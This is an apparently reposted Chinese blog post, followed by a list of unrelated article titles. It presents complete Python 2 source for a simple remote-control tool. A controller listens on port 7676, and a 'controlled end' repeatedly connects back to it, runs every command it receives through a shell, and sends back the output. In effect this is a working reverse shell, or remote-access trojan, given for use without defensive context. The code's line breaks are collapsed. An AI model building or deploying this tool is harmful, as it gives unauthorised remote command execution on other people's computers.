Python简易远控(单线程版)
来源:互联网 发布:java排序函数使用 编辑:程序博客网 时间:2024/06/10 09:02
1. 技术:管道通信,流文件处理,socket基础
2. Tips:
默认IP:127.0.0.1
默认端口:7676
3. 代码样例:
服务端:
#!/usr/bin/env python # encoding: utf-8 import socketimport sysfrom os import *reload(sys) sys.setdefaultencoding("utf-8") def socketInit():s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)return sdef socketDeal(s,HOST,PORT):s.bind((HOST,PORT))s.listen(1)def ControlModule(sS,addr):recv_buffer = sS.recv(20048)if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":print recv_buffersys.exit(0)else:print recv_buffersend_buf = raw_input(addr[0]+">")sS.send(send_buf)def main():HOST = "127.0.0.1"PORT = 7676s = socketInit()socketDeal(s, HOST, PORT)sS,addr = s.accept()print "Connect from " + addr[0] + ":" + repr(addr[1])try:while True:ControlModule(sS,addr)except Exception as e:print "[-]Connect Error"sS.close()s.close()sys.exit(-1)except KeyboardInterrupt:sS.close()s.close()sys.exit(0)if __name__ == '__main__':main()
受控端:
#!/usr/bin/env python # encoding: utf-8 import socketimport sysimport reimport tracebackimport tempfilefrom os import *from subprocess import *reload(sys) sys.setdefaultencoding("utf-8") def socketInit():s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)return sdef socketConn(s,HOST,PORT):while True:try:s.connect((HOST,PORT))except Exception as e:continueelse:s.send("Welcome Sir ~")breakdef String_Deal(recv,send):P_str = re.findall("cd(.*)|(\w):", recv)if P_str!=[] and send == "":if P_str[0][0]!="":try:chdir(P_str[0][0].strip())except Exception as e:flag = -1else:flag = 1else:try:chdir(recv)except Exception as e:#traceback.print_exc()flag = -1else:flag = 1else:if send == "":flag = 1else:flag = 0return flagdef OpenProcess(s):try:while True:recv_buf = s.recv(2048)#流文件技术,防止管道阻塞out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)fileNo = out_temp.fileno()cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)cmd.wait()out_temp.seek(0)send_buf = out_temp.read()#print len(send_buf)#输入命令字符串处理识别flag = String_Deal(recv_buf,send_buf)if flag == 1:s.send("OK")elif flag == -1:s.send("Error!!")else:s.send(send_buf)send_buf = ""except Exception as e:try:s.send("[-]Error:Server is OFF")except Exception as e:passs.close()sys.exit(-1)except KeyboardInterrupt:try:s.send("[*]Server is OFF")except Exception as e:passs.close()sys.exit(0)def main():flag = 0HOST = "127.0.0.1"PORT = 7676s = socketInit()socketConn(s, HOST, PORT)OpenProcess(s)if __name__ == '__main__':main()
阅读全文
0 0
- Python简易远控(单线程版)
- Python多线程简易版 - 线程池threadpool
- Python 网络爬虫单线程版
- Python爬虫(单线程爬虫(三))
- python-单线程爬虫
- Python 单线程 多线程
- python单线程网络爬虫
- python单线程爬虫(一)
- python 单线程和多线程
- python -- 单线程、多线程SocketServer
- Python实现简易通讯录(修改版)
- 简易版支付系统部署(单节点)
- Hibernate简易BaseDao演示单例模式和线程池
- Python爬虫学习(单线程爬虫(一))
- Python爬虫学习(单线程爬虫(二))
- Python扫描端口(单线程+多进程)
- python多线程(1)--单线程和多线程
- python单线程文件传输范例(C/S)
- 基于python的验证码生成与识别1—生成简单的验证码
- 工作总结
- android 7.0的android.os.FileUriExposedException: 问题解决
- 赫夫曼树代码(C++)
- Idea配置maven(非常详细的入门教程)
- Python简易远控(单线程版)
- Java 基础【04】数组内存分配 引用传递 值传递
- BZOJ-2243: [SDOI2011]染色 (树链剖分 入门题 线段树 区间修改查询 维护端点值)
- 第一章 概览
- 互联网专业术语
- bootstrap栅栏系统css中的col-xs-*,col-sm-*,col-md-* 的意义
- Mysql触发器的简单使用
- cetnos7 与windows双系统安装启动
- goto break return continue的区别